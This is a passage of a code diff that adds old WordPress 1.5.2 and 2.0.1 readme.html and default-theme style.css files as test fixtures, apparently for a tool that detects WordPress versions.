<li>MySQL version <strong>3.23.23</strong> or higher</li>
|
||||
<li>... and a link to <a href="http://wordpress.org">http://wordpress.org</a> on your site.</li>
|
||||
</ul>
|
||||
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/cafélog</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/">donating</a>. </p>
|
||||
|
||||
<h1>Upgrading from another system</h1>
|
||||
<p>WordPress can <a href="http://codex.wordpress.org/Importing_from_other_blogging_software">import from a number of systems</a>. First you need to get WordPress installed and working as described above.</p>
|
||||
|
||||
<h1 id="templates">XML-RPC Interface</h1>
|
||||
<p>You can now post to your WordPress blog with tools like <a href="http://ecto.kung-foo.tv/">Ecto</a>, <a href="http://blogbuddy.sourceforge.net">BlogBuddy</a>, <a href="http://bloggar.com/">Bloggar</a>, <a href="http://www.ubique.ch/wapblogger/">WapBlogger</a> (post from your Wap cellphone!), <a href="http://radio.userland.com">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.zempt.com/">Zempt</a>, <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the Blogging APIs! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support">XML-RPC support on the Codex</a>.</p>
|
||||
|
||||
<h1>Post via Email</h1>
|
||||
<p>You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret POP3 account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> URL. </p>
|
||||
<p> Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address dicrete. The script will <i>delete</i> emails that are successfully posted. </p>
|
||||
<h1 id="notes">User Levels </h1>
|
||||
<p>You may allow or disallow user registration in your <a href="wp-admin/options-general.php">General options</a>. If "new users can blog" is disabled you must first raise the level of a newly registered user to allow them to post. Click the plus sign next to their name on the <a href="wp-admin/users.php">Users</a> page. </p>
|
||||
<h2>User Levels</h2>
|
||||
<ul>
|
||||
<li>0 - New User </li>
|
||||
<li>1 - User can post, edit, and delete their own posts.</li>
|
||||
<li>5+ - Admin; can post, edit, delete other people's posts, and change the options.</li>
|
||||
<li>Any user whose level is higher than 1, can edit and delete the posts and change the level of lower users. Example: a level 2 user is not an admin, but can edit the posts of level 1 users, and up the level of a new user from 0 to 1.</li>
|
||||
</ul>
|
||||
<p>Usually you want to have a team of level 1 users except for you.</p>
|
||||
<h1> Final notes</h1>
|
||||
<ul>
|
||||
<li>If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a></li>
|
||||
<li>WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the <a href="http://codex.wordpress.org/Plugin_API">plugin documentation in the Codex</a>. In most all cases you shouldn't modify any of the core code.</li>
|
||||
</ul>
|
||||
|
||||
<h1>Share the Love</h1>
|
||||
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
|
||||
|
||||
<h1>Copyright</h1>
|
||||
<p>WordPress is released under the <abbr title="GNU Public License">GPL</abbr> (see <a href="license.txt">license.txt</a>).</p>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
610
spec/fixtures/wp_versions/1.5.2/wp-content/themes/default/style.css
vendored
Executable file
610
spec/fixtures/wp_versions/1.5.2/wp-content/themes/default/style.css
vendored
Executable file
@@ -0,0 +1,610 @@
|
||||
/*
|
||||
Theme Name: WordPress Default
|
||||
Theme URI: http://wordpress.org/
|
||||
Description: The default WordPress theme based on the famous <a href="http://binarybonsai.com/kubrick/">Kubrick</a>.
|
||||
Version: 1.5
|
||||
Author: Michael Heilemann
|
||||
Author URI: http://binarybonsai.com/
|
||||
|
||||
Kubrick v1.5
|
||||
http://binarybonsai.com/kubrick/
|
||||
|
||||
This theme was designed and built by Michael Heilemann,
|
||||
whose blog you will find at http://binarybonsai.com/
|
||||
|
||||
The CSS, XHTML and design is released under GPL:
|
||||
http://www.opensource.org/licenses/gpl-license.php
|
||||
|
||||
|
||||
*** REGARDING IMAGES ***
|
||||
All CSS that involves the use of images, can be found in the 'index.php' file.
|
||||
This is to ease installation inside subdirectories of a server.
|
||||
|
||||
Have fun, and don't be afraid to contact me if you have questions.
|
||||
*/
|
||||
|
||||
|
||||
|
||||
/* Begin Typography & Colors */
|
||||
body {
|
||||
font-size: 62.5%; /* Resets 1em to 10px */
|
||||
font-family: 'Lucida Grande', Verdana, Arial, Sans-Serif;
|
||||
background-color: #d5d6d7;
|
||||
color: #333;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#page {
|
||||
background-color: white;
|
||||
border: 1px solid #959596;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
#header {
|
||||
background-color: #73a0c5;
|
||||
}
|
||||
|
||||
#content {
|
||||
font-size: 1.2em
|
||||
}
|
||||
|
||||
.widecolumn .entry p {
|
||||
font-size: 1.05em;
|
||||
}
|
||||
|
||||
.narrowcolumn .entry, .widecolumn .entry {
|
||||
line-height: 1.4em;
|
||||
}
|
||||
|
||||
.widecolumn {
|
||||
line-height: 1.6em;
|
||||
}
|
||||
|
||||
.narrowcolumn .postmetadata {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.alt {
|
||||
background-color: #f8f8f8;
|
||||
border-top: 1px solid #ddd;
|
||||
border-bottom: 1px solid #ddd;
|
||||
}
|
||||
|
||||
#footer {
|
||||
background-color: #eee;
|
||||
}
|
||||
|
||||
small {
|
||||
font-family: Arial, Helvetica, Sans-Serif;
|
||||
font-size: 0.9em;
|
||||
line-height: 1.5em;
|
||||
}
|
||||
|
||||
h1, h2, h3 {
|
||||
font-family: 'Trebuchet MS', 'Lucida Grande', Verdana, Arial, Sans-Serif;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
h1 {
|
||||
font-size: 4em;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.description {
|
||||
font-size: 1.2em;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
h2 {
|
||||
font-size: 1.6em;
|
||||
}
|
||||
|
||||
h2.pagetitle {
|
||||
font-size: 1.6em;
|
||||
}
|
||||
|
||||
#sidebar h2 {
|
||||
font-family: 'Lucida Grande', Verdana, Sans-Serif;
|
||||
font-size: 1.2em;
|
||||
}
|
||||
|
||||
h3 {
|
||||
font-size: 1.3em;
|
||||
}
|
||||
|
||||
h1, h1 a, h1 a:hover, h1 a:visited, .description {
|
||||
text-decoration: none;
|
||||
color: white;
|
||||
}
|
||||
|
||||
h2, h2 a, h2 a:visited, h3, h3 a, h3 a:visited {
|
||||
color: #333;
|
||||
}
|
||||
|
||||
h2, h2 a, h2 a:hover, h2 a:visited, h3, h3 a, h3 a:hover, h3 a:visited, #sidebar h2, #wp-calendar caption, cite {
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.entry p a:visited {
|
||||
color: #b85b5a;
|
||||
}
|
||||
|
||||
.commentlist li, #commentform input, #commentform textarea {
|
||||
font: 0.9em 'Lucida Grande', Verdana, Arial, Sans-Serif;
|
||||
}
|
||||
|
||||
.commentlist li {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.commentlist cite, .commentlist cite a {
|
||||
font-weight: bold;
|
||||
font-style: normal;
|
||||
font-size: 1.1em;
|
||||
}
|
||||
|
||||
.commentlist p {
|
||||
font-weight: normal;
|
||||
line-height: 1.5em;
|
||||
text-transform: none;
|
||||
}
|
||||
|
||||
#commentform p {
|
||||
font-family: 'Lucida Grande', Verdana, Arial, Sans-Serif;
|
||||
}
|
||||
|
||||
.commentmetadata {
|
||||
font-weight: normal;
|
||||
}
|
||||
|
||||
#sidebar {
|
||||
font: 1em 'Lucida Grande', Verdana, Arial, Sans-Serif;
|
||||
}
|
||||
|
||||
small, #sidebar ul ul li, #sidebar ul ol li, .nocomments, .postmetadata, blockquote, strike {
|
||||
color: #777;
|
||||
}
|
||||
|
||||
code {
|
||||
font: 1.1em 'Courier New', Courier, Fixed;
|
||||
}
|
||||
|
||||
acronym, abbr, span.caps
|
||||
{
|
||||
font-size: 0.9em;
|
||||
letter-spacing: .07em;
|
||||
}
|
||||
|
||||
a, h2 a:hover, h3 a:hover {
|
||||
color: #06c;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
a:hover {
|
||||
color: #147;
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
#wp-calendar #prev a {
|
||||
font-size: 9pt;
|
||||
}
|
||||
|
||||
#wp-calendar a {
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
#wp-calendar caption {
|
||||
font: bold 1.3em 'Lucida Grande', Verdana, Arial, Sans-Serif;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#wp-calendar th {
|
||||
font-style: normal;
|
||||
text-transform: capitalize;
|
||||
}
|
||||
/* End Typography & Colors */
|
||||
|
||||
|
||||
|
||||
/* Begin Structure */
|
||||
body {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
#page {
|
||||
background-color: white;
|
||||
margin: 20px auto;
|
||||
padding: 0;
|
||||
width: 760px;
|
||||
border: 1px solid #959596;
|
||||
}
|
||||
|
||||
#header {
|
||||
padding: 0;
|
||||
margin: 0 auto;
|
||||
height: 200px;
|
||||
width: 100%;
|
||||
background-color: #73a0c5;
|
||||
}
|
||||
|
||||
#headerimg {
|
||||
margin: 0;
|
||||
height: 200px;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.narrowcolumn {
|
||||
float: left;
|
||||
padding: 0 0 20px 45px;
|
||||
margin: 0px 0 0;
|
||||
width: 450px;
|
||||
}
|
||||
|
||||
.widecolumn {
|
||||
padding: 10px 0 20px 0;
|
||||
margin: 5px 0 0 150px;
|
||||
width: 450px;
|
||||
}
|
||||
|
||||
.post {
|
||||
margin: 0 0 40px;
|
||||
text-align: justify;
|
||||
}
|
||||
|
||||
.widecolumn .post {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.narrowcolumn .postmetadata {
|
||||
padding-top: 5px;
|
||||
}
|
||||
|
||||
.widecolumn .postmetadata {
|
||||
margin: 30px 0;
|
||||
}
|
||||
|
||||
#footer {
|
||||
padding: 0 0 0 1px;
|
||||
margin: 0 auto;
|
||||
width: 760px;
|
||||
clear: both;
|
||||
}
|
||||
|
||||
#footer p {
|
||||
margin: 0;
|
||||
padding: 20px 0;
|
||||
text-align: center;
|
||||
}
|
||||
/* End Structure */
|
||||
|
||||
|
||||
|
||||
/* Begin Headers */
|
||||
h1 {
|
||||
padding-top: 70px;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.description {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
h2 {
|
||||
margin: 30px 0 0;
|
||||
}
|
||||
|
||||
h2.pagetitle {
|
||||
margin-top: 30px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#sidebar h2 {
|
||||
margin: 5px 0 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
h3 {
|
||||
padding: 0;
|
||||
margin: 30px 0 0;
|
||||
}
|
||||
|
||||
h3.comments {
|
||||
padding: 0;
|
||||
margin: 40px auto 20px ;
|
||||
}
|
||||
/* End Headers */
|
||||
|
||||
|
||||
|
||||
/* Begin Images */
|
||||
p img {
|
||||
padding: 0;
|
||||
max-width: 100%;
|
||||
}
|
||||
|
||||
/* Using 'class="alignright"' on an image will (who would've
|
||||
thought?!) align the image to the right. And using 'class="centered',
|
||||
will of course center the image. This is much better than using
|
||||
align="center", being much more futureproof (and valid) */
|
||||
|
||||
img.centered {
|
||||
display: block;
|
||||
margin-left: auto;
|
||||
margin-right: auto;
|
||||
}
|
||||
|
||||
img.alignright {
|
||||
padding: 4px;
|
||||
margin: 0 0 2px 7px;
|
||||
display: inline;
|
||||
}
|
||||
|
||||
img.alignleft {
|
||||
padding: 4px;
|
||||
margin: 0 7px 2px 0;
|
||||
display: inline;
|
||||
}
|
||||
|
||||
.alignright {
|
||||
float: right;
|
||||
}
|
||||
|
||||
.alignleft {
|
||||
float: left
|
||||
}
|
||||
/* End Images */
|
||||
|
||||
|
||||
|
||||
/* Begin Lists
|
||||
|
||||
Special stylized non-IE bullets
|
||||
Do not work in Internet Explorer, which merely default to normal bullets. */
|
||||
|
||||
html>body .entry ul {
|
||||
margin-left: 0px;
|
||||
padding: 0 0 0 30px;
|
||||
list-style: none;
|
||||
padding-left: 10px;
|
||||
text-indent: -10px;
|
||||
}
|
||||
|
||||
html>body .entry li {
|
||||
margin: 7px 0 8px 10px;
|
||||
}
|
||||
|
||||
.entry ul li:before, #sidebar ul ul li:before {
|
||||
content: "\00BB \0020";
|
||||
}
|
||||
|
||||
.entry ol {
|
||||
padding: 0 0 0 35px;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.entry ol li {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.postmetadata ul, .postmetadata li {
|
||||
display: inline;
|
||||
list-style-type: none;
|
||||
list-style-image: none;
|
||||
}
|
||||
|
||||
#sidebar ul, #sidebar ul ol {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
#sidebar ul li {
|
||||
list-style-type: none;
|
||||
list-style-image: none;
|
||||
margin-bottom: 15px;
|
||||
}
|
||||
|
||||
#sidebar ul p, #sidebar ul select {
|
||||
margin: 5px 0 8px;
|
||||
}
|
||||
|
||||
#sidebar ul ul, #sidebar ul ol {
|
||||
margin: 5px 0 0 10px;
|
||||
}
|
||||
|
||||
#sidebar ul ul ul, #sidebar ul ol {
|
||||
margin: 0 0 0 10px;
|
||||
}
|
||||
|
||||
ol li, #sidebar ul ol li {
|
||||
list-style: decimal outside;
|
||||
}
|
||||
|
||||
#sidebar ul ul li, #sidebar ul ol li {
|
||||
margin: 3px 0 0;
|
||||
padding: 0;
|
||||
}
|
||||
/* End Entry Lists */
|
||||
|
||||
|
||||
|
||||
/* Begin Form Elements */
|
||||
#searchform {
|
||||
margin: 10px auto;
|
||||
padding: 5px 3px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#sidebar #searchform #s {
|
||||
width: 115px;
|
||||
padding: 2px;
|
||||
}
|
||||
|
||||
#sidebar #searchsubmit {
|
||||
padding: 1px;
|
||||
}
|
||||
|
||||
.entry form { /* This is mainly for password protected posts, makes them look better. */
|
||||
text-align:center;
|
||||
}
|
||||
|
||||
select {
|
||||
width: 130px;
|
||||
}
|
||||
|
||||
#commentform input {
|
||||
width: 170px;
|
||||
padding: 2px;
|
||||
margin: 5px 5px 1px 0;
|
||||
}
|
||||
|
||||
#commentform textarea {
|
||||
width: 100%;
|
||||
padding: 2px;
|
||||
}
|
||||
|
||||
#commentform #submit {
|
||||
margin: 0;
|
||||
float: right;
|
||||
}
|
||||
/* End Form Elements */
|
||||
|
||||
|
||||
|
||||
/* Begin Comments*/
|
||||
.alt {
|
||||
margin: 0;
|
||||
padding: 10px;
|
||||
}
|
||||
|
||||
.commentlist {
|
||||
padding: 0;
|
||||
text-align: justify;
|
||||
}
|
||||
|
||||
.commentlist li {
|
||||
margin: 15px 0 3px;
|
||||
padding: 5px 10px 3px;
|
||||
list-style: none;
|
||||
}
|
||||
|
||||
.commentlist p {
|
||||
margin: 10px 5px 10px 0;
|
||||
}
|
||||
|
||||
#commentform p {
|
||||
margin: 5px 0;
|
||||
}
|
||||
|
||||
.nocomments {
|
||||
text-align: center;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.commentmetadata {
|
||||
margin: 0;
|
||||
display: block;
|
||||
}
|
||||
/* End Comments */
|
||||
|
||||
|
||||
|
||||
/* Begin Sidebar */
|
||||
#sidebar
|
||||
{
|
||||
padding: 20px 0 10px 0;
|
||||
margin-left: 545px;
|
||||
width: 190px;
|
||||
}
|
||||
|
||||
#sidebar form {
|
||||
margin: 0;
|
||||
}
|
||||
/* End Sidebar */
|
||||
|
||||
|
||||
|
||||
/* Begin Calendar */
|
||||
#wp-calendar {
|
||||
empty-cells: show;
|
||||
margin: 10px auto 0;
|
||||
width: 155px;
|
||||
}
|
||||
|
||||
#wp-calendar #next a {
|
||||
padding-right: 10px;
|
||||
text-align: right;
|
||||
}
|
||||
|
||||
#wp-calendar #prev a {
|
||||
padding-left: 10px;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
#wp-calendar a {
|
||||
display: block;
|
||||
}
|
||||
|
||||
#wp-calendar caption {
|
||||
text-align: center;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
#wp-calendar td {
|
||||
padding: 3px 0;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#wp-calendar td.pad:hover { /* Doesn't work in IE */
|
||||
background-color: #fff; }
|
||||
/* End Calendar */
|
||||
|
||||
|
||||
|
||||
/* Begin Various Tags & Classes */
|
||||
acronym, abbr, span.caps {
|
||||
cursor: help;
|
||||
}
|
||||
|
||||
acronym, abbr {
|
||||
border-bottom: 1px dashed #999;
|
||||
}
|
||||
|
||||
blockquote {
|
||||
margin: 15px 30px 0 10px;
|
||||
padding-left: 20px;
|
||||
border-left: 5px solid #ddd;
|
||||
}
|
||||
|
||||
blockquote cite {
|
||||
margin: 5px 0 0;
|
||||
display: block;
|
||||
}
|
||||
|
||||
.center {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
hr {
|
||||
display: none;
|
||||
}
|
||||
|
||||
a img {
|
||||
border: none;
|
||||
}
|
||||
|
||||
.navigation {
|
||||
display: block;
|
||||
text-align: center;
|
||||
margin-top: 10px;
|
||||
margin-bottom: 60px;
|
||||
}
|
||||
/* End Various Tags & Classes*/
|
||||
|
||||
|
||||
|
||||
/* "Daisy, Daisy, give me your answer do. I'm half crazy all for the love of you.
|
||||
It won't be a stylish marriage, I can't afford a carriage.
|
||||
But you'll look sweet upon the seat of a bicycle built for two." */
|
||||
120
spec/fixtures/wp_versions/2.0.1/readme.html
vendored
Executable file
120
spec/fixtures/wp_versions/2.0.1/readme.html
vendored
Executable file
@@ -0,0 +1,120 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head>
|
||||
<title>WordPress › ReadMe</title>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
|
||||
<style type="text/css" media="screen">
|
||||
<!--
|
||||
html {
|
||||
background: #eee;
|
||||
}
|
||||
body {
|
||||
background: #fff;
|
||||
color: #000;
|
||||
font-family: Georgia, "Times New Roman", Times, serif;
|
||||
margin-left: 25%;
|
||||
margin-right: 25%;
|
||||
padding: .2em 2em;
|
||||
}
|
||||
|
||||
h1 {
|
||||
color: #006;
|
||||
font-size: 18px;
|
||||
font-weight: lighter;
|
||||
}
|
||||
|
||||
h2 {
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
p, li, dt {
|
||||
line-height: 140%;
|
||||
padding-bottom: 2px;
|
||||
}
|
||||
|
||||
ul, ol {
|
||||
padding: 5px 5px 5px 20px;
|
||||
}
|
||||
-->
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1 style="text-align: center"><img alt="WordPress" src="http://wordpress.org/images/wordpress.gif" /> <br />
|
||||
Version 2.0</h1>
|
||||
<p style="text-align: center"> Semantic Personal Publishing Platform </p>
|
||||
<h1>First Things First</h1>
|
||||
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
|
||||
<p style="text-align: right;">— Matt Mullenweg </p>
|
||||
|
||||
<h1 id="installation">Installation: Famous 5-minute install</h1>
|
||||
<ol>
|
||||
<li>Unzip the package in an empty directory</li>
|
||||
<li>Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details</li>
|
||||
<li>Save the file as <code>wp-config.php</code> </li>
|
||||
<li>Upload everything.</li>
|
||||
<li>Open <span class="file"><a href="wp-admin/install.php">/wp-admin/install.php</a></span> in your browser. This should setup the tables needed for your blog. If there is an error, double check your <span class="file">wp-config.php</span> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/">support forums</a> with as much data as you can gather. </li>
|
||||
<li><strong>Note the password given to you.</strong></li>
|
||||
<li> The install script should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username <code>admin</code> and the password generated during the installation. You can then click on 'Profile' to change the password.</li>
|
||||
</ol>
|
||||
|
||||
<h1>Upgrading</h1>
|
||||
<p>Before you upgrade anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</p>
|
||||
<h2>Upgrading from any previous WordPress to 2.0:</h2>
|
||||
<ol>
|
||||
<li>Delete your old WP files, saving ones you've modified </li>
|
||||
<li>Upload the new files</li>
|
||||
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a></span></li>
|
||||
<li>You wanted more, perhaps? That's it!</li>
|
||||
</ol>
|
||||
<h2>Template Changes</h2>
|
||||
<p>If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, <a href="http://codex.wordpress.org/Upgrade_1.2_to_1.5">we've created a special guide for you</a>. </p>
|
||||
<h1>Online Resources</h1>
|
||||
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
|
||||
<dl>
|
||||
<dt><a href="http://codex.wordpress.org/">The WordPress Codex </a></dt>
|
||||
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available. </dd>
|
||||
<dt><a href="http://wordpress.org/development/">The Development Blog</a></dt>
|
||||
<dd>This is where you'll find the latest updates and news related to WordPress. Bookmark and check often. </dd>
|
||||
<dt><a href="http://planet.wordpress.org/">WordPress Planet </a></dt>
|
||||
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web. </dd>
|
||||
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
|
||||
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible. </dd>
|
||||
<dt><a href="http://codex.wordpress.org/IRC">WordPress IRC Channel</a></dt>
|
||||
<dd>Finally, there is an online chat channel that is used for discussion amoung people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (irc.freenode.net #wordpresss) </dd>
|
||||
</dl>
|
||||
|
||||
<h1 id="requirements">System Recommendations</h1>
|
||||
<ul>
|
||||
<li>PHP version <strong>4.1</strong> or higher</li>
|
||||
<li>MySQL version <strong>3.23.23</strong> or higher</li>
|
||||
<li>... and a link to <a href="http://wordpress.org/">http://wordpress.org</a> on your site.</li>
|
||||
</ul>
|
||||
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/cafélog</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/">donating</a>. </p>
|
||||
|
||||
<h1>Upgrading from another system</h1>
|
||||
<p>WordPress can <a href="http://codex.wordpress.org/Importing_from_other_blogging_software">import from a number of systems</a>. First you need to get WordPress installed and working as described above.</p>
|
||||
|
||||
<h1 id="templates">XML-RPC Interface</h1>
|
||||
<p>You can now post to your WordPress blog with tools like <a href="http://ecto.kung-foo.tv/">Ecto</a>, <a href="http://blogbuddy.sourceforge.net">BlogBuddy</a>, <a href="http://bloggar.com/">Bloggar</a>, <a href="http://www.ubique.ch/wapblogger/">WapBlogger</a> (post from your Wap cellphone!), <a href="http://radio.userland.com">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.zempt.com/">Zempt</a>, <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the Blogging APIs! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support">XML-RPC support on the Codex</a>.</p>
|
||||
|
||||
<h1>Post via Email</h1>
|
||||
<p>You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret POP3 account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> URL. </p>
|
||||
<p> Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address dicrete. The script will <i>delete</i> emails that are successfully posted. </p>
|
||||
<h1 id="roles">User Roles </h1>
|
||||
|
||||
<p>We've eliminated user levels in order to make way for the much more flexible roles system introduced in 2.0. You can <a href="http://codex.wordpress.org/Roles_and_Capabilities">read more about Roles and Capabilities on the Codex</a>.</p>
|
||||
|
||||
<h1> Final notes</h1>
|
||||
<ul>
|
||||
<li>If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a></li>
|
||||
<li>WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the <a href="http://codex.wordpress.org/Plugin_API">plugin documentation in the Codex</a>. In most all cases you shouldn't modify any of the core code.</li>
|
||||
</ul>
|
||||
|
||||
<h1>Share the Love</h1>
|
||||
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
|
||||
|
||||
<h1>Copyright</h1>
|
||||
<p>WordPress is released under the <abbr title="GNU Public License">GPL</abbr> (see <a href="license.txt">license.txt</a>).</p>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
622
spec/fixtures/wp_versions/2.0.1/wp-content/themes/default/style.css
vendored
Executable file
622
spec/fixtures/wp_versions/2.0.1/wp-content/themes/default/style.css
vendored
Executable file
@@ -0,0 +1,622 @@
|
||||
/*
|
||||
Theme Name: WordPress Default
|
||||
Theme URI: http://wordpress.org/
|
||||
Description: The default WordPress theme based on the famous <a href="http://binarybonsai.com/kubrick/">Kubrick</a>.
|
||||
Version: 1.5
|
||||
Author: Michael Heilemann
|
||||
Author URI: http://binarybonsai.com/
|
||||
|
||||
Kubrick v1.5
|
||||
http://binarybonsai.com/kubrick/
|
||||
|
||||
This theme was designed and built by Michael Heilemann,
|
||||
whose blog you will find at http://binarybonsai.com/
|
||||
|
||||
The CSS, XHTML and design is released under GPL:
|
||||
http://www.opensource.org/licenses/gpl-license.php
|
||||
|
||||
|
||||
*** REGARDING IMAGES ***
|
||||
All CSS that involves the use of images, can be found in the 'index.php' file.
|
||||
This is to ease installation inside subdirectories of a server.
|
||||
|
||||
Have fun, and don't be afraid to contact me if you have questions.
|
||||
*/
|
||||
|
||||
|
||||
|
||||
/* Begin Typography & Colors */
|
||||
body {
|
||||
font-size: 62.5%; /* Resets 1em to 10px */
|
||||
font-family: 'Lucida Grande', Verdana, Arial, Sans-Serif;
|
||||
background-color: #d5d6d7;
|
||||
color: #333;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#page {
|
||||
background-color: white;
|
||||
border: 1px solid #959596;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
#header {
|
||||
background-color: #73a0c5;
|
||||
}
|
||||
|
||||
#content {
|
||||
font-size: 1.2em
|
||||
}
|
||||
|
||||
.widecolumn .entry p {
|
||||
font-size: 1.05em;
|
||||
}
|
||||
|
||||
.narrowcolumn .entry, .widecolumn .entry {
|
||||
line-height: 1.4em;
|
||||
}
|
||||
|
||||
.widecolumn {
|
||||
line-height: 1.6em;
|
||||
}
|
||||
|
||||
.narrowcolumn .postmetadata {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.alt {
|
||||
background-color: #f8f8f8;
|
||||
border-top: 1px solid #ddd;
|
||||
border-bottom: 1px solid #ddd;
|
||||
}
|
||||
|
||||
#footer {
|
||||
background-color: #eee;
|
||||
}
|
||||
|
||||
small {
|
||||
font-family: Arial, Helvetica, Sans-Serif;
|
||||
font-size: 0.9em;
|
||||
line-height: 1.5em;
|
||||
}
|
||||
|
||||
h1, h2, h3 {
|
||||
font-family: 'Trebuchet MS', 'Lucida Grande', Verdana, Arial, Sans-Serif;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
h1 {
|
||||
font-size: 4em;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#headerimg .description {
|
||||
font-size: 1.2em;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
h2 {
|
||||
font-size: 1.6em;
|
||||
}
|
||||
|
||||
h2.pagetitle {
|
||||
font-size: 1.6em;
|
||||
}
|
||||
|
||||
#sidebar h2 {
|
||||
font-family: 'Lucida Grande', Verdana, Sans-Serif;
|
||||
font-size: 1.2em;
|
||||
}
|
||||
|
||||
h3 {
|
||||
font-size: 1.3em;
|
||||
}
|
||||
|
||||
h1, h1 a, h1 a:hover, h1 a:visited, #headerimg .description {
|
||||
text-decoration: none;
|
||||
color: white;
|
||||
}
|
||||
|
||||
h2, h2 a, h2 a:visited, h3, h3 a, h3 a:visited {
|
||||
color: #333;
|
||||
}
|
||||
|
||||
h2, h2 a, h2 a:hover, h2 a:visited, h3, h3 a, h3 a:hover, h3 a:visited, #sidebar h2, #wp-calendar caption, cite {
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.entry p a:visited {
|
||||
color: #b85b5a;
|
||||
}
|
||||
|
||||
.commentlist li, #commentform input, #commentform textarea {
|
||||
font: 0.9em 'Lucida Grande', Verdana, Arial, Sans-Serif;
|
||||
}
|
||||
|
||||
.commentlist li {
|
||||
